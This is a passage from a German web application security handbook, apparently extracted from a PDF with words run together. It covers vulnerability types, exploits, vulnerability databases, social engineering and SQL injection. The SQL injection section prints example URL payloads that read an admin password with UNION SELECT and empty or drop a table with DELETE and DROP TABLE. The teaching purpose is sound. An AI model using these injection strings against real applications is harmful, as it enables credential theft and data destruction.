Unübertroffen steht hier an erster Stelle die Akzeptanz jeglicherBenutzereingaben, ungefiltert und ungeprüft – dicht gefolgt vonder mangelnden Konsequenz innerhalb des Zugriffsrechtsma-nagements. Dabei wird nicht konsequent für jeden Vorgang dieerforderliche Zugriffsberechtigung explizit überprüft.

Sehr häufig kommt es auch vor, dass verwendete Sessions un-zureichend und nicht eindeutig an den aktuellen Benutzer ge-bunden werden oder eine zu lange Lebensdauer haben. In Ver-bindung damit werden auch gerne detaillierte Session-Dateninklusive Zugangsdaten in Cookies hinterlegt.

In Ausnahmefällen werden sogar ganze Befehlszeilen in Verbin-dung mit dynamisch aufgebauten Befehlen und der oben ge-nannten Akzeptanz jeglicher Benutzereingaben aufgebaut.

33schnell + kompakt

4 – Vulnerabilitäten

Nach wie vor ein sehr beliebter Fehler sind unsichere und unver-schlüsselte Passwörter. Die daraus resultierenden Risiken liegenwohl auf der Hand und sind mit gesundem Menschenverstandnachvollziehbar.

Prinzipiell sind natürlich auch alle Kombinationen denkbar undin der Regel recht häufig anzutreffen. Sämtliche dieser Fehlersind in jedem Fall als kritisch einzustufen und liegen in der Handdes Entwicklers.

Aber auch abseits der eigenen Programmierung sind Vulnerabi-litäten anzutreffen, die nicht auf der Ebene der Applikation lie-gen. Diese können sich in der entsprechenden Sprache wie auchin anderen Serverkomponenten befinden und indirekt zu einerVerwundbarkeit der eigenen Applikation führen.

Generell kann man Vulnerabilitäten in zwei Kategorien untertei-len: direkte und indirekte Vulnerabilität.

Während eine direkte Vulnerabilität aufgrund einer Sicherheits-lücke unmittelbar zur Kompromittierung der Applikation oderdes Servers führen kann, bietet eine indirekte Vulnerabilität eherdie Möglichkeit, weiterführende Informationen über die Appli-kation wie auch des Servers zu erhalten, um eventuelle Schwach-punkte und Ansatzpunkte für Angriffsvektoren zu finden.

4.1 Typisierung

Vulnerabilitäten sind nicht zu verallgemeinern. Es existieren fürjede einzelne Sicherheitslücke auch unterschiedliche Vulnerabili-täten. Aus diesem Grund muss zur Einordnung und Definitionder einzelnen Vulnerabilitäten eine Typisierung erfolgen.

Auf Basis dieser Typisierung können letztendlich auch die mög-lichen Angriffsvektoren ermittelt und umfangreiche Schutzme-thoden realisiert werden. Die genaue Typisierung dient zu guter

34

Typisierung

Letzt auch einem sicheren Programmieren. Behält man sich einengroben Überblick hierüber im Hinterkopf, so lässt sich eine Viel-zahl von diesen bereits von Anfang an vermeiden.

Eingabevalidierung

Webapplikationen verwenden oftmals Eingaben (Parameter), diezusammen mit einer HTTP-Anfrage übertragen werden, um eineAntwort zu generieren. Prinzipiell ist ein solches Szenario heut-zutage bei jeder dynamischen Applikation anzutreffen. Anhandder Parameter werden dann zum Beispiel Inhalte aus Datenban-ken oder Dateien generiert und aufbereitet.

Werden diese Parameter vor der Verwendung in der Applikationnicht ausreichend überprüft, so entsteht eine Sicherheitslückemit enormen Ausmaß. Ein Angreifer kann die HTTP-Anfrage be-liebig manipulieren, um die Anwendung zu kompromittieren.

Dabei spielt es keinerlei Rolle, ob es sich um Daten aus einemGET- (URL-Parameter) oder POST-Request (Formulardaten)handelt. Auch kann ein Angreifer beliebige Elemente einer An-frage entsprechend verfälschen. Seien es Header-Werte, Cookies,URL-Parameter oder Formulardaten – jede Möglichkeit kann inBetracht gezogen werden. Auch ist es ein verbreiteter Irrglaube,dass versteckte Formularfelder mit speziellen Werten sicher sind.

Ein Beispiel für eine unvalidierte Eingabe stellt der folgendeCode-Schnipsel dar:

Hier wird ein Parameter aus einem GET- oder POST-Requestohne Überprüfung einer Variablen zugewiesen. Auch wenn die-se auf den Datentyp String festgelegt worden ist, birgt das kei-nerlei Sicherheit, da eine Zeichenkette sämtliche alphanumeri-schen Zeichen wie auch Sonderzeichen enthalten kann.

string strActionParam = Parameter['action'];

35schnell + kompakt


Die Applikation wird folglich jede Zeichenkette akzeptieren,egal ob es sich dabei nun um korrekte Werte oder aber bösartigeBefehle oder Quellcode handelt. Je nachdem, was später mit die-ser Variablen verarbeitet wird, kann die gesamte Funktions- so-wie eventuell auch die Datenschicht kompromittiert werden.

Bei jeglichen Benutzereingaben, Formulardaten wie auch URL-Parametern gilt generell die Faustregel von Michael Howard1:

„All input is evil, until proven otherwise!“ („Jede Eingabe ist böse, ehe sie nicht geprüft worden ist!“).

Mögliche Angriffsvektoren

� SQL Injection� Command Injection� Cross-Site Scripting� Exploiting� Buffer Overflows� Directory Traversal/Forced Browsing� Cookie Poisoning

Schutz

� Umfangreiche Validierung sämtlicher Parameter und Benut-zereingaben (vgl. Kapitel 6.1)

Zugriffs- und Rechtemanagement

Vermehrt arbeiten Webapplikationen auch mit verschiedenenMöglichkeiten des Zugriffsmanagements. Dabei kann es sich umsogenannte Content-Management-Systeme (CMS), Foren, Ga-lerien oder andere Systeme handeln. Immer dann, wenn unterBenutzern verschiedene Rechte verteilt werden sollen bzw. aus-

1. Program Manager, Secure Windows Initiative, Microsoft Corporation (http://blogs.msdn.com/michael_howard)

36

Typisierung

gewählte Benutzer mehr dürfen als andere, wird ein Zugriffs-management zu Rate gezogen.

Ein solches Zugriffs- bzw. Rechtemanagement stellt keine einfa-che Realisation dar. Die Komplexität wird vor allem enorm ge-steigert, wenn es zusätzlich noch verschiedene Benutzerrollengeben soll oder die Rechte generell individuell und benutzerbe-zogen zugewiesen werden sollen.

Die Logik, die dahintersteckt, ist durchaus komplex und bietetaus der Sicht eines Angreifers eine Menge Angriffsvektoren, dadiese Komplexität seitens eines Entwicklers oft und gerne unter-schätzt wird.

Oftmals werden der Zugriff und die entsprechenden Rechte ei-nes Benutzers nur an einer Stelle innerhalb der Applikation über-prüft: beim Login-Vorgang. Eine einfache Passwortabfrage reichtallerdings schlicht und einfach nicht aus.

Auch wenn sämtliche administrativen Funktionen erst offen-sichtlich nach einem erfolgreichen Login-Vorgang angezeigtwerden, bedeutet dies im Umkehrschluss nicht, dass ein Angriffvon vornherein ausgeschlossen ist. Oftmals geraten interessierteBenutzer allein per Raten und Zufall an solche Funktionen undkönnen von diesen dann ungeprüft Gebrauch machen. Dies istangesichts der heutigen Konzeption auf jeden Fall fatal, denn daeine Webseite meist von jedem Standpunkt der Welt aus verwalt-bar sein soll, bieten solche administrativen Funktionen auch dieentsprechenden Möglichkeiten (z.B. Inhalte und Benutzer än-dern bzw. löschen).

Des Weiteren ist für ein umfangreiches Zugriffs- und Rechte-management eine sichere Sessionverwaltung unverzichtbar.

37schnell + kompakt



� Cross-Site Scripting� Cross-Site Request Forgery� Man-In-The-Middle-Attacken� Exploiting

Schutz

� Rechte unmittelbar mit jeder auszuführenden Aktion über-prüfen und eingeloggten User umfangreich authentifizieren(vgl. Kapitel 6.2)

Sessionmanagement

Das Sessionmanagement spielt vor allem eine große Rolle, wennes um das Zugriffs- und Rechtemanagement geht. Da HTTP einverbindungs- bzw. zustandsloses Protokoll ist (vergleiche aucherstes Kapitel), gibt es keinerlei Möglichkeiten, einem Benutzernähere Informationen zuzuweisen.

Da eine Vielzahl von Webapplikationen allerdings auf eine sol-che genauere Zuordnung von Informationen zu einem Benutzerangewiesen sind, wird ein sogenanntes Sessionmanagement im-plementiert. Zu Beginn der Session (Sitzung) wird hierfür eineeindeutige Session-Id generiert. Anhand dieser Id können aufdem Server hinterlegte Daten bzw. Informationen in der Regeleindeutig einem Benutzer zugewiesen werden.

Dies kann, wie bereits erwähnt, unter anderem in einem Admi-nistrationsbereich bzw. generell geschützten, privaten Bereichwie auch beispielsweise in einem Online-Shop-System (Waren-korb) der Fall sein.

Die Session-Id wird in jedem HTTP-Request, sei es per GET- oderPOST-Parameter oder, wie weitverbreitet, per Cookie mitge-führt. Wird die Session nicht eindeutig genug an einen Benutzer

38

Typisierung

gebunden, so bietet sich für einen Angreifer die Möglichkeit zurEntwendung der Session-Id, mit der er die gesamte Session über-nehmen und im Namen des unwissenden Benutzers agierenkann.

Bei der Implementierung von Sessions müssen folglich einigewichtige Faktoren berücksichtigt werden.


� Exploiting� Session Hijacking� Session Fixation� Cookie Poisoning� Man-In-The-Middle-Attacken

Schutz

� Sessions eindeutiger an Benutzer binden (z.B. per IP-Adresse)und Lebensdauer der Gültigkeit einschränken (vgl. Kapitel6.3)

Datenmanagement

Nicht selten müssen Webapplikationen sensible Daten wie bei-spielsweise Passwörter, Zahlungsinformationen und Benutzer-daten verwalten können, die auf Datenebene (z.B. in Datenban-ken oder Dateien) hinterlegt werden.

Oftmals greifen Entwickler an dieser Stelle auf verschiedene Ver-schlüsselungsverfahren zurück, die generell relativ einfach zuimplementieren sind. Allerdings wird eine solche Verschlüsse-lung nicht selten überbewertet und andere wichtige Aspektebleiben unberücksichtigt.

Gern vergessen werden an dieser Stelle Punkte wie die richtigeWahl der Archivierung (Datenbank oder Datei) von Daten,

39schnell + kompakt


Schlüsseln, Zertifikaten und Passwörtern sowie die richtige Wahleines komplexen, sicheren und vor allem bis dato verschlossenenVerschlüsselungsalgorithmus.


� Exploiting

Schutz

� Hash-Algorithmen verwenden, sicheren Bereich für die Archi-vierung wählen sowie gegebenenfalls umfangreichen und si-cheren Verschlüsselungsalgorithmus nutzen (vgl. Kapitel 6.4)

Befehlszeilen

Analog zum Wachstum einer Webapplikation steigt auch dieKomplexität einer solchen. In den meisten Fällen sollen Wartungund Pflege komplett mit dieser Applikation möglich sein – selbst-verständlich dann auch weltweit gänzlich ohne Zusatzsoftware.

Im Detail bedeutet dies, dass sämtliche Daten (sei es in Dateienoder Datenbanken) auf Applikationsebene verwaltbar sein müs-sen und die gesamte Applikation unabhängig von jeglicherDritt-Software administrierbar sein muss.

Sehr häufig werden zur Realisation dieser Komplexität Befehls-zeilen innerhalb der Applikation verwendet, die dynamisch zu-sammengesetzt werden. In Verbindung mit einer fehlerhaftenEingabevalidierung (vgl. Kapitel 4.1) ist die Applikation sowieim schlechtesten Fall auch das gesamte Serversystem binnen we-niger Sekunden kompromittiert.


� Command Injection � Exploiting� Forced Browsing

40

Typisierung

Schutz

� Eingaben streng validieren, auf Interpreterfunktionen zurück-greifen und Befehlszeilen, wenn irgend möglich, vermeiden(vgl. Kapitel 6.5)

Fehlerbehandlung

Eine große Gefahr, wenn auch lediglich eine indirekte Vulnerabi-lität, stellt die unzureichende Fehlerbehandlung dar. Grundsätz-lich kommt es bei einer mangelnden Fehlerbehandlung zu einerdirekten Ausgabe des Fehlers.

Dies können detaillierte Fehlermitteilungen in Form von soge-nannten Stack-Traces (Code-Ausschnitte bzw. Reihenfolge derFunktionsaufrufe), Datenbank-Dumps oder bestimmten Fehler-codes sein. Die Applikation gibt folglich bei einem Fehler eineMenge an Informationen preis, die einem Angreifer Aufschlussüber die Möglichkeiten eines Angriffs liefern können.

Anhand gezielter Fehleingaben kann der Angreifer versuchen,sich ein ausführliches Bild von der entsprechenden Applikation,gegebenenfalls inklusive Quellcode, zu machen. Im schlimmstenFall kann je nach Fehler (z.B. Buffer Overflows) auch die gesamteApplikation samt Server kompromittiert werden.


� Application Engineering� Exploiting

Schutz

� Fehler jeglicher Art abfangen, protokollieren sowie Fehleraus-gaben reduzieren bzw. verallgemeinern (vgl. Kapitel 6.6)

41schnell + kompakt


Passwörter

Unsichere Passwörter sind nach wie vor ein wichtiges Thema.Auch wenn man mittlerweile davon ausgehen sollte, dass sämt-liche Passwörter nur verschlüsselt und sicher hinterlegt (vgl.auch Kapitel 4.1) werden oder strengen Komplexitätsrichtlinienentsprechen, sind zu häufig (aber dennoch verhältnismäßig sel-ten) noch Gegenbeispiele zu finden.

Oftmals existiert auch eine Rückschlussmöglichkeit vom Benut-zernamen auf das Passwort. Zwar ist die Wahl eines unsicherenPassworts eine Nachlässigkeit seitens des jeweiligen Benutzersund stellt in gewisser Art und Weise ferner eine Form desmenschlichen Dilettantismus dar, dennoch hat ein EntwicklerSorge dafür zu tragen, dass ein sicheres Passwort gewählt wird.

Sichere Passwörter sind nicht sonderlich leicht zu wählen in derheutigen Zeit, da sie generell zwar sicher, andererseits aber leichtmerkbar sein sollen.


� Exploiting� Social Engineering� Bruteforcing� Man-In-The-Middle-Attacken

Schutz

� Passwörter sicher und verschlüsselt archivieren sowie sicher-stellen, dass diese komplexen Richtlinien entsprechen (vgl.Kapitel 6.7)

42

Typisierung

Serverkonfiguration

Selbstverständlich spielt bei der Sicherheit einer Webapplikationauch die entsprechende Serverkonfiguration, auf der diese läuft,eine sehr wichtige Rolle (vgl. Säulenmodell, Kapitel 2.3).

Prinzipiell ist die Verwaltungs-/Steuerungsschicht für die Ent-gegennahme von Anfragen und die Weitergabe an die Appli-kation verantwortlich. Oftmals befinden sich auf dieser Schichtnoch weitere Services (z.B. Datenverwaltung, Verzeichnisdiens-te, Kommunikationsdienste und weitere Interpreter), die einerApplikation zur Verfügung stehen.

Kritische Faktoren in diesem Bereich stellen Sicherheitslücken insolchen Diensten oder eine fehlerhafte Konfiguration dieser dar.Bereits kleinere, fehlerhafte Einstellungen (z.B. erlaubtes Direc-tory-Listing, fehlerhafte Datei- und Verzeichnisrechte, Stan-dardpasswörter, Debugging-Optionen) führen schnell zu uner-wünschten Vorteilen für potenzielle Angreifer. Was prinzipiellrecht einfach klingt, ist in der Praxis oftmals nur schwer selbst zubewerkstelligen, da die Applikationsentwicklung häufig sepa-riert von der Serververwaltung erfolgt.


� Exploiting� Directory Traversal

Schutz

� Sichere Serverkonfiguration anstreben, regelmäßige Sicher-heitsupdates installieren, nicht benötigte Dienste deaktivierensowie für eine ausführliche Kommunikation zwischen Ent-wickler und Administratoren sorgen (vgl. Kapitel 6.8)

43schnell + kompakt


Risikofaktor „Mensch“

Ein großes Risiko stellt allerdings nach wie vor der Mensch dar.Er ist für die Wahl von Passwörtern sowie die Geheimhaltungvon wichtigen betrieblichen Informationen verantwortlich.

Laut Graham Greene2 wird ein Mensch „vertrauenswürdig, so-bald man ihm Vertrauen schenkt“3. Genau das wird ihm zumVerhängnis und macht ihn je nach Charakter mehr oder wenigerverletzlich.

Prinzipiell wird diese Vertrauensseligkeit oft und gerne ausge-nutzt und von einem Angreifer gegen den Menschen verwendet.


� Social Engineering

Schutz

� Identitäten kritisch hinterfragen und gerade in Bezug auf ver-trauliche Informationen vorsichtig sein (vgl. Kapitel 6.12).

4.2 Exploits

Ein Exploit ist ein Programm oder Script, das eine Sicherheits-lücke innerhalb einer Applikation für Demonstrationszweckeausnutzt. Ein solcher Machbarkeitsbeweis wird auch als Proof ofConcept bezeichnet. Allerdings gilt bereits die alleinige und theo-retische Beschreibung eines Exploit als Exploit.

Primär dienen Exploits Applikationsentwicklern und Herstel-lern von Software als Information über gefundene Sicherheits-

2. Graham Greene, britischer Schriftsteller, geboren am 2. Oktober 1904 in Berkhamsted (Hertfordshire), gestorben am 3. April 1991 in Vevey (Schweiz)

3. aus „Der stille Amerikaner“

44

Vulnerabilitätsdatenbanken

lücken, damit diese schnellstmöglich reagieren und entsprechen-de Sicherheitspatches und Updates bereitstellen können.

Natürlich hat eine solche öffentliche Politik auch ihre Schatten-seiten. Sie gibt potenziellen Angreifern die Möglichkeit, diese Ex-ploits in bösartiger Absicht auszunutzen.

Ist der Angreifer schneller als der Entwickler bzw. Hersteller,kann er sich den Exploit zunutze machen, noch bevor entspre-chende Updates bereitgestellt worden sind. Doch meistens musser noch nicht einmal schneller sein, da die Mehrzahl der Benut-zer betroffener Systeme erst zu spät reagieren, nämlich dann,wenn ein Angriff bereits stattgefunden hat.

Es gibt allerdings auch sogenannte Zero-Day-Exploits (0-Day-Exploits). Diese erscheinen unmittelbar am gleichen Tag, an demeine Sicherheitslücke allgemein bekannt wird. Sie sind in der Re-gel noch gefährlicher als herkömmliche Exploits, da zum Zeit-punkt des Erscheinens kaum ein Entwickler bzw. Hersteller inder Lage ist, einen umfangreichen Patch bereitzustellen. Die Zeitbzw. die Geschwindigkeit der Angreifer ist in diesem Fall mitun-ter der mächtigste Gegenspieler.

Profitipp

Zur Erstellung von Exploits und Sicherheits-Tools gibt es eine

spezielle Entwicklungsplattform: das Metasploit Framework.

Es ist vor allem bei der Entwicklung eigener Applikationen

sehr nützlich, um Sicherheitslücken schneller aufzuspüren

und zu vernichten: http://www.metasploit.com

4.3 Vulnerabilitätsdatenbanken

Vulnerabilitäten innerhalb bekannter Applikationen werdenhäufig in sogenannten Vulnerabilitätsdatenbanken archiviert. Sieenthalten ausführliche Informationen zu gefundenen Sicher-

45schnell + kompakt


heitslücken der betroffenen Applikation. In der Regel werdenauch Exploits zur Veranschaulichung mitgeliefert.

Neben solchen Datenbanken informieren aber auch diverse Si-cherheitsportale über neue Sicherheitslücken und Gegenmaß-nahmen.

Vulnerabilitätsdatenbanken

� SecurityFocus (http://www.securityfocus.com/vulnerabilities)� SecuriTeam (http://www.securiteam.com/exploits)� Bürger-CERT (http://www.buerger-cert.de)� National Vulnerability Database (http://nvd.nist.gov)� Open Source Vulnerability Database (http://osvdb.org)� Secunia (http://secunia.com)� milw0rm (http://www.milw0rm.com)

Sicherheitsportale

� heise Security (http://www.heise.de/security)

46

KAPITEL 5

Angriffsvektoren

5.1 Social Engineering 48

5.2 Application Engineering 51

5.3 SQL-Injection 53

5.4 Blind SQL-Injection 57

5.5 Command-Injection 60

5.6 Cross-Site Scripting 64

5.7 Cross-Site Request Forgery 68

5.8 Directory Traversal 71

5.9 Session-Hijacking 74

5.10 Session-Fixation 76

5.11 Cookie-Poisoning 79

5.12 URL-Smuggling 81

5.13 Buffer Overflow 83

5.14 Bruteforcing 86

5.15 Exploiting 87

5.16 Man-In-The-Middle 89

5.17 Google Hacking 91

Für die Ausnutzung von Sicherheitslücken gibt es verschiedeneAngriffsvektoren. Ein Angriffsvektor bezeichnet den Weg sowiedie Technik, die ein unbefugter Eindringling, ganz gleich wel-cher Art, nutzt, um ein fremdes Computersystem zu kompro-mittieren.

Dabei ist es egal, mit welchen Beweggründen er handelt, ob erdas System zerstören oder dieses für eigene Zwecke missbrau-

47schnell + kompakt

5 – Angriffsvektoren

chen möchte. Auch spielt es keine Rolle, ob er eine Sicherheits-lücke ausnutzen, andere Sicherungsmaßnahmen (z.B. Firewalls)umgehen oder auf eine andere Art und Weise in das System ein-brechen möchte.

In diesem Kapitel werden die gängigsten Methoden zum Aus-nutzen von Sicherheitslücken sowie ihre Funktionsweise be-schrieben. Es wird erläutert, auf welchen Vulnerabilitäten (vgl.Kapitel 4) die jeweilige Methode basiert und welche Auswirkun-gen ein Angriff mit dieser Methode für die Anwendung und ge-gebenenfalls das System hat.

Des Weiteren erfahren Sie, wie Sie Ihre Applikation mit der ent-sprechenden Methode testen können, um Schwachstellen in deneigenen Reihen zu erkennen.

5.1 Social Engineering

Das Social Engineering (soziale Technik/soziale Manipulation),auch Social Hacking genannt, ist eine Form der zwischen-menschlichen Beeinflussung mit dem Hintergrund, unberechtigtan vertrauliche Informationen zu gelangen. Es stellt mitunter ei-nen der ältesten Angriffsvektoren dar.

Ziel dieser Methode ist es, mittels Vorspielens einer falschenIdentität an vertrauliche Informationen oder unbezahlte Dienst-leistungen zu gelangen. Dabei wird das Opfer geschickt ausge-fragt oder anhand bereits ermittelter Informationen so getäuscht,dass zwischen Opfer und Angreifer eine vertrauenswürdige Be-ziehung aufgebaut wird, die der Angreifer dann nach eigenemBelieben ausnutzen kann.

Basisvulnerabilitäten

� Risikofaktor „Mensch“ (vgl. Kapitel 4.1.9)

48

Social Engineering

Definition

Das Grundmuster des Social Engineering ist prinzipiell immergleich. Der Angreifer versucht, sich als vertrauenswürdige Kon-taktperson Zugang zu weiteren Informationen zu verschaffen.Dabei ist er in der Regel gut vorbereitet und hat bereits im Vor-feld ausführliche Informationen eingeholt. Häufig verfehlt er aufseinem Weg sein direktes Ziel. Dieser Weg, wenn er schon einmaletwas erschwert wird, stellt allerdings auch ein Mittel zumZweck dar und wird für das Sammeln weiterer Informationengenutzt (Der Weg ist das Ziel1).

Im Falle von Unternehmen reichen oftmals Kenntnisse über Ge-schäftsführung und Unternehmenshierarchien aus, um relativzügig an die gewünschten Informationen zu gelangen. Nicht sel-ten erleichtern diese Unternehmen selbst die Informationsbe-schaffung des Angreifers in Form eines ausführlichen Unterneh-mensprofils in einer Zeitschrift oder im Internet.

Beim Social Engineering werden sämtliche Kommunikationska-näle von persönlichen Kontakten über schriftliche Korrespon-denz bis hin zur modernen Telekommunikation verwendet. Inder heutigen Zeit wird vermehrt die Kommunikation per E-Mailerledigt.

1. Konfuzius, chinesischer Philosoph (um ca. 551 – 479 v. Chr.)

49schnell + kompakt


Das sogenannte Phishing2 stellt auch eine abgewandelte Formdes Social Engineering dar. Allerdings ist diese Variante wesent-lich unpersönlicher und basiert nicht mehr auf der direktenInformationsbeschaffung. Mit einer vertrauenswürdig erschei-nenden E-Mail wird das Opfer in der Hoffnung auf den Erhaltder Zugangsdaten und eventuell weiterer sensibler Daten (z.B.Kontodaten oder TANs) auf eine speziell präparierte Webseitegelockt. Prinzipiell gibt es bei Phishing-Attacken zwei Opfer-gruppen: die betroffene Person an sich sowie das um die vertrau-enswürdige Identität beraubte Unternehmen.

Beim Social Engineering stellt der Mensch das Risiko dar, undnicht eine Sicherheitslücke auf technischer Seite. Diverse Angrei-fer bewiesen bereits, dass sich Social Engineering nicht nur dafüreignet, vertrauliche Informationen oder Zugangsdaten zu ergat-tern, sondern auch bei der illegalen und kostenfreien Beschaf-fung von Fastfood, Flugtickets und sogar Autos funktioniert.

Historisches

Diese Methode zur Ausnutzung einer vertrauenswürdigen Be-ziehung auf Grund einer falschen, aber vertrauenswürdigenIdentität existiert nach wie vor „online“ wie auch „offline“, alsoim reellen Leben.

Der wohl populärste Fall des Social Engineering wurde gegenEnde der 1960er Jahre bekannt und 2002 von Steven Spielbergverfilmt3. Der Scheckbetrüger und Hochstapler Frank WilliamAbagnale Jr. schaffte es mit dieser Methode, verschiedene Iden-

2. Phishing (zusammengesetzt aus „password“ und „fishing“; Passwort-Angeln) ist eine Methode des Trickbetrugs im Internet. Dabei wird in der Regel per E-Mail ver-sucht, den Empfänger irrezuführen, indem eine vertrauenswürdige Quelle vorge-gaukelt wird, die allerdings über Umwege auf eine betrügerische Webseite führt.

3. „Catch Me If You Can“ mit Leonardo DiCaprio als Frank Abagnale Jr. und Tom Hanks in der Rolle des FBI-Agenten Carl Hanratty

50

Application Engineering

titäten (u.a. Kopilot, Arzt und Rechtsanwalt) anzunehmen undbis zu seiner Verhaftung im Jahre 1969 (vor seinem 21. Lebens-jahr) rund 2,5 Millionen US-Dollar in insgesamt 26 Ländern zuerbeuten.

Aber auch der bekannte Hacker Kevin Mitnick war für seineVorgehensweisen per Social Engineering bekannt. Mitnick selbststellte die These auf, dass das Social Engineering bei weitem die„effektivste Methode, um an ein Passwort zu gelangen“ sei unddass der Aufwand sowie die Geschwindigkeit im Vergleich zutechnischen Hilfsmitteln enorm gering seien. Sein Fall wurde be-reits im Jahre 2000 von Joe Chappelle verfilmt4, aufgrund derübertriebenen Darstellung allerdings vielfach kritisiert. Eine eherobjektive Version wurde 2001 in Form einer Dokumentation5 ver-öffentlicht.

In den 1980er Jahren wurde das Social Engineering auch unterden sogenannten Phreakern6 praktiziert. Dabei stellte sich derAngreifer per Telefon bei der Telefongesellschaft als Technikerbzw. Administrator vor und bat um die Herausgabe neuer Pass-wörter zur gebührenfreien Nutzung der Telefonleitung.

5.2 Application Engineering

Das Application Engineering (Applikationsanalyse) ist eine Me-thode zur Analyse einer Applikation. Ziel eines Angreifers ist es,möglichst viele Informationen über die entsprechende Applika-tion zu erhalten und gegebenenfalls auch in Besitz von Quell-code-Ausschnitten und SQL-Dumps zu gelangen.

4. „Operation Takedown“ mit Skeet Ulrich als Kevin Mitnick und Russell Wong in der Rolle das Widersachers Tsutomu Shimomura

5. „Freedom Downtime“ u. a. mit Kevin Mitnick

6. Phreaking (zusammengesetzt aus „phone“ und „freak“; Telefonfreak) bezeichnet das illegale Manipulieren von Telefonsystemen.

51schnell + kompakt


Die Analyse beschränkt sich hierbei auf generelle Laufzeitinfor-mationen und die allgemeine Dokumentenstruktur sowie Infor-mationen aus ausführlichen Fehlermeldungen. Mit gezieltenFehleingaben kann das Verhalten der Applikation dokumentiertwerden. Bei quelloffenen Applikationen kann der Angreifer zu-sätzlich einen Blick auf den verfügbaren Quellcode werfen, umseine Analyse detaillierter zu gestalten.


� Fehlerbehandlung (vgl. Kapitel 4.1.6)

Definition

Die Vorgehensweise beim Application Engineering ist prinzipiellfest definiert. Ein Angreifer versucht, möglichst viele Informati-onen über die entsprechende Applikation zu erhalten. Dabeikann er im Vorfeld die Seitenstruktur mit einem Scanner ermit-teln und auf Basis dieser weitere Informationen sammeln.

In weiteren Schritten werden das Anwendungsverhalten beob-achtet sowie absichtlich Fehleingaben erzeugt, um eventuell tie-fergehende Informationen inklusive Quellcodeausschnitte undDatenbank-Dumps zu erhalten.

52

SQL-Injection

Das Application Engineering an sich stellt primär keine sonder-lich große Gefahr dar. Allerdings dient es unter anderem auchder Ermittlung weiterer Schwachstellen, die im Anschluss dannmit anderen Angriffsvektoren ausgenutzt werden können.

5.3 SQL-Injection

SQL-Injection (SQL-Injektion) bezeichnet das Einschleusen (Inji-zieren) bösartiger Befehle zur Kompromittierung eines SQL-Da-tenbank-Management-Systems (DBMS). Diese Art von Angriffresultiert aus mangelnder Maskierung oder Überprüfung vonBenutzereingaben in der entsprechenden Anwendung.

Angreifern wird das Einschleusen eigener Datenbankbefehleüber die fehlerhafte Anwendung, die den Zugriff auf die Daten-bank bereitstellt und nur unzureichend geschützt ist, ermöglicht.Dabei ist es durchaus möglich, die Kontrolle über die Datenbanksowie im schlimmsten Fall sogar über die gesamte Applikationsamt Server zu erhalten.


� Eingabevalidierung (vgl. Kapitel 4.1.1)

Definition

53schnell + kompakt


Sicherheitslücken in Form von SQL-Injection-Bugs treten bei dy-namisch generierten SQL-Abfragen auf. Hier werden oft Ab-fragen (Queries) mit Parametern aus GET- oder POST-Anfragendynamisch aufgebaut. Erfolgt keine oder lediglich eine unzurei-chende Eingabevalidierung, so wird die Anwendung unsicher.

Ein Angreifer kann in diesem Fall eigene Befehle einschleusenund komplette Funktionszeichenketten an den Server übertra-gen. Diese Zeichenkette wird im Anschluss daran unmittelbarauf dem Server ausgeführt. In der Funktionszeichenkette könnenBefehle zum Löschen einer Tabelle oder Datenbank enthaltensein sowie Befehle zur Manipulation einer Auswahl-Query. Jenach Datenbanksystem und Systemkonfiguration besteht außer-dem die Möglichkeit, Zugriff auf die Kommandozeile (Shell) zuerhalten, was im Regelfall die Möglichkeit zur Kompromittie-rung des gesamten Servers bedeutet.

Je nach injizierter Abfrage und Aufgabe der Anwendung lassensich folglich auf diese Art und Weise Daten ausspähen wie auchmanipulieren. In den schlimmsten Fällen können auch bösartigeBefehle eingeschleust werden, die der Kompromittierung deskompletten Servers dienen.

Beispiel

Die folgende Query in einer Applikation soll einen Inhalt anhandeiner Identifikationsnummer (Id) aus einer SQL-Datenbank la-den. Dabei wird die Id aus einem URL-Parameter ermittelt undunmittelbar in die Query eingebunden.

string dbCommand = 'SELECT [inhalt] FROM [inhalte] WHERE id=' + Parameter['id'];ExecuteQuery(dbCommand);

54

SQL-Injection

Bei einem Seitenaufruf per inhalt.psc?id=10 funktioniert alles wiegewünscht. Der Eintrag mit der entsprechenden Id (10) wird ausder Tabelle (inhalte) geladen. Das durch die Anwendung gene-rierte Query, das an die Datenbank übertragen und dort ausge-führt wird, sieht wie folgt aus:

Ein gewiefter Angreifer könnte beispielsweise den Seitenaufrufverändern und inhalt.psc?id=10 UNION SELECT password FROMusers WHERE name='admin'; aufrufen.

Mit der UNION-Klausel können zwei oder mehrere SELECT-Queries verknüpft werden. Zu beachten ist an dieser Stelle, dassdie Anzahl der ausgewählten Spalten übereinstimmen muss.Andernfalls wird die verknüpfte Abfrage abgebrochen.

Das durch den Aufruf veränderte Query sieht nun wie folgt aus:

Existiert der Benutzer admin und sind die Passwörter in der Da-tenbank nicht verschlüsselt, so kann es dank des Einschleusensder zweiten SELECT-Anweisung bequem ausgelesen und fürweitere Angriffe genutzt werden.

Nach der gleichen Vorgehensweise können leider auch gezieltDaten modifiziert oder gelöscht werden, indem UPDATE-, IN-SERT- oder DELETE- bzw. DROP-Klauseln eingeschleust wer-den.

Ein Seitenaufruf per inhalt.psc?id=10; DELETE * FROM inhalte;bzw. per inhalt.psc?id=10; DROP TABLE inhalte; hätte zur Folge,dass die komplette Tabelle geleert bzw. gelöscht würde. Mit einer

SELECT [inhalt] FROM [inhalte] WHERE id=10

SELECT [inhalt] FROM [inhalte] WHERE id=10 UNION SELECT password FROM users WHERE name='admin'

55schnell + kompakt


solchen Sicherheitslücke kann folglich ein sehr großer Schadenentstehen.

Auch wenn die Konkatenation zweier Queries in der Regel un-terbunden wird, so kann man sich hierauf nicht verlassen, dadiese Einstellung vom verwendeten SQL-Server und dessenKonfiguration wie auch der Version abhängt.

Erheblich schlimmer kann es bei einer Applikation in Verbin-dung mit einem Microsoft SQL Server kommen. Ist dort die Kom-mandozeile (cmdshell) für den SQL-Server aktiviert, so könntensogar sehr kritische Befehle ausgeführt werden, woraus imschlimmsten Fall die Zerstörung des gesamten (Datenbank-)Ser-vers resultieren könnte.

Historisches

Der erste Fall von SQL-Injections wurde im Jahre 1998 bekannt,als in der 54. Ausgabe des Hackermagazins Phrack7 ein Artikelüber Vulnerabilitäten in NT-Webtechnologien8 erschien. Dort be-schrieb ein Hacker, der sich rain.forest.puppy, kurz rfp, nannte,dass der MS SQL Server sogenannte Batch-Befehle unterstützt,sprich die Konkatenation zweier aneinandergehängter Queriesnicht unterbunden wurde.

Der Begriff SQL-Injections an sich entstand allerdings erst zweiJahre später am 23. Oktober 2000, als Chip Andrews diesen Be-griff für den Titel seiner „SQL-Injection FAQ“9 verwendete.

